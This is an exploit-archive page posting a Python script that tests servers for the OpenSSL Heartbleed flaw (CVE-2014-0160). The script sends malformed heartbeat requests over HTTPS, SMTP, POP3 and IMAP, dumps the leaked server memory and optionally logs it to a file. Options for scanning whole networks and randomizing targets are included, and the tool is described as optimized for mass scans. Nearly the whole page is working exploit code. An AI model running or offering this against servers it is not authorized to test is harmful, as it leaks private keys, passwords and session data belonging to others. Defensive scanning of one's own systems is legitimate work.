exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Heartbleed Vulnerability Scanning Tool

Heartbleed Vulnerability Scanning Tool
Posted Sep 24, 2015
Authored by hybridus

This python script checks for the OpenSSL memory leak named Heartbleed and as noted in CVE-2014-0160. It can be used for different SSL TLS versions and multiple (HTTPS/SMTP/IMAP/POP3) protocols. It is optimized for mass scans.

tags | tool, web, scanner, imap, protocol, memory leak, python
systems | unix
advisories | CVE-2014-0160
SHA-256 | 89791cf81b92b962ceaf4da83a28781f5cf9ed884168321574cab9f157657409

Heartbleed Vulnerability Scanning Tool

Change Mirror Download
#!/usr/bin/env python

# I've added some features to the original work of Jared Stafford.
#
# -t parameter to optimize the timeout in seconds.
# -f parameter to log the memleak of vulnerable systems.
# -n parameter to scan entire network.
# -i parameter to scan from a list file. Useful if you already have targets.
# -r parameter to randomize the IP addresses to avoid linear scanning.
# -s parameter to exploit services that requires plaintext command to start SSL/TLS (HTTPS/SMTP/POP3/IMAP)
#
# Added socket error handler which causes the original version to exit in cases.
#
# hybridus (hybridus@gmail.com)
# CVE-2014-0160

import sys
import struct
import socket
import time
import select
import re
import errno
import Queue
import threading
import pprint
from optparse import OptionParser
from netaddr import *
from socket import error as socket_error
from random import shuffle


options = OptionParser(usage='%prog network(cidr) [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-t', '--timeout',type='int', default=5, help='Socket timeout setting in seconds (default: 5)')
options.add_option('-f', '--file',type='string', default='', help='Write leaked memory to file (default: none)')
options.add_option('-n', '--network',type='string', default='', help='Network you want to scan in CDIR (192.168.1.0/24)')
options.add_option('-i', '--input', type='string', default='', help='Get the target IP addresses from a list file')
options.add_option('-r', '--random', action='store_true', dest='random', default='True', help='Randomize the IP addresses to scan (default: false)')
options.add_option('-s', '--service', type='string', default='HTTPS', help='For some services commands are required to start SSL/TLS session. (HTTPS/SMTP/POP/IMAP)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello

def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb

def hexdump(s,logfilename, target_ip):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

if logfilename != '':
try :
with open(logfilename,'a') as logfile:
logfile.write(target_ip + '\t' + pdat + '\n')
except IOError:
print 'Error writing dumps from ' + target_ip + ' to file. Setting file option NULL and resuming scan.'
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata


def recvmsg(s,target_ip):
hdr = recvall(s, 5)
if hdr is None:
print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record header - Host closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record payload - Host closed connection'
return None, None, None
print '[ ' + str(target_ip) + ' ] <3 Received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s,hb,target_ip,logfilename):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s,target_ip)
if typ is None:
print '[ ' + str(target_ip) + ' ] No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print '[ ' + str(target_ip) + ' ] <3 Received heartbeat response:'
hexdump(pay, logfilename, target_ip)

if len(pay) > 3:
beep()
print '[ ' + str(target_ip) + ' ] WARNING: server returned more data than it should - server is vulnerable!'
else:
print '[ ' + str(target_ip) + ' ] Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay, logfilename, target_ip)
print '[ ' + str(target_ip) + ' ] Server returned error, likely not vulnerable'
return False
def beep():
print "\a"

def main():
opts, args = options.parse_args()
if (len(args) < 1) and (opts.input == '') and (opts.network == '') :
options.print_help()
return

if (opts.input != ''):
with open(opts.input,'r') as inputfile:
targetlist=inputfile.read().splitlines()
print "Starting to scan hosts from " + opts.input + ", " + str(len(targetlist)) + " host(s) in total."
elif (opts.network != ''):
targetlist = IPNetwork(opts.network)
print "Starting to scan network " + str(targetlist.network) + " netmask " + str(targetlist.netmask) + ", " + str(targetlist.size) + " host(s) in total."
targetlist = list(targetlist)
elif (args[0]):
targetlist = []
targetlist.append(args[0])

if (opts.service == '' or opts.service == 'HTTPS'):
command1 = ''
command2 = ''
elif (opts.service == 'SMTP'):
command1 = 'EHLO domain.net\n'
command2 = 'STARTTLS\n'
elif (opts.service == 'POP3'):
command1 = 'CAPA\n'
command2 = 'STLS\n'
elif (opts.service == 'IMAP'):
command1 = 'a001 CAPB\n'
command2 = 'a002 STARTTLS\n'
else:
print 'Unknown service definiton'
return


totalhosts = len(targetlist)
logfilename = opts.file
target_ip = ''
ip_count = 0
if (opts.random == True):
shuffle(targetlist)

for x in range(int(len(targetlist))):
target_ip = targetlist[x]
ip_count += 1
for i in range(len(version)):
try:
print '[ Scanning '+str(ip_count)+'/'+str(totalhosts)+' ]'
print '[ ' + str(target_ip) + ' ] Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(opts.timeout))

print '[ ' + str(target_ip) + ' ] Connecting...'
sys.stdout.flush()
s.connect((str(target_ip), opts.port))

if (command1 != '' and command2 != ''):
print '[ ' + str(target_ip) + ' ] Sending command to switch ' + opts.service + ' protocol over SSL/TLS and waiting for 1 second to be sure'
s.send(command1)
s.send(command2)
time.sleep(1)

print '[ ' + str(target_ip) + ' ] Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print '[ ' + str(target_ip) + ' ] Waiting for Server Hello...'
sys.stdout.flush()

while True:
typ, ver, pay = recvmsg(s,target_ip)
if typ == None:
print '[ ' + str(target_ip) + ' ] Server closed connection without sending Server Hello.'
break
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print '[ ' + str(target_ip) + ' ] Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1]),str(target_ip),logfilename):
#Stop if vulnerable
break
except socket_error as serr:
#e = sys.exc_info()[0]
#print e
if serr.errno == errno.ECONNREFUSED:
print '[ ' + str(target_ip) + ' ] Refused connection.'
if serr.errno == errno.EHOSTDOWN:
print '[ ' + str(target_ip) + ' ] Host down.'
if serr.errno == errno.ETIMEDOUT:
print '[ ' + str(target_ip) + ' ] Connection timed out.'
if serr.errno == errno.ECONNRESET:
print '[ ' + str(target_ip) + ' ] Connection reset by peer.'
if serr.errno == errno.EPIPE:
print '[ ' + str(target_ip) + ' ] Pipe error.'

if __name__ == '__main__':
main()
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close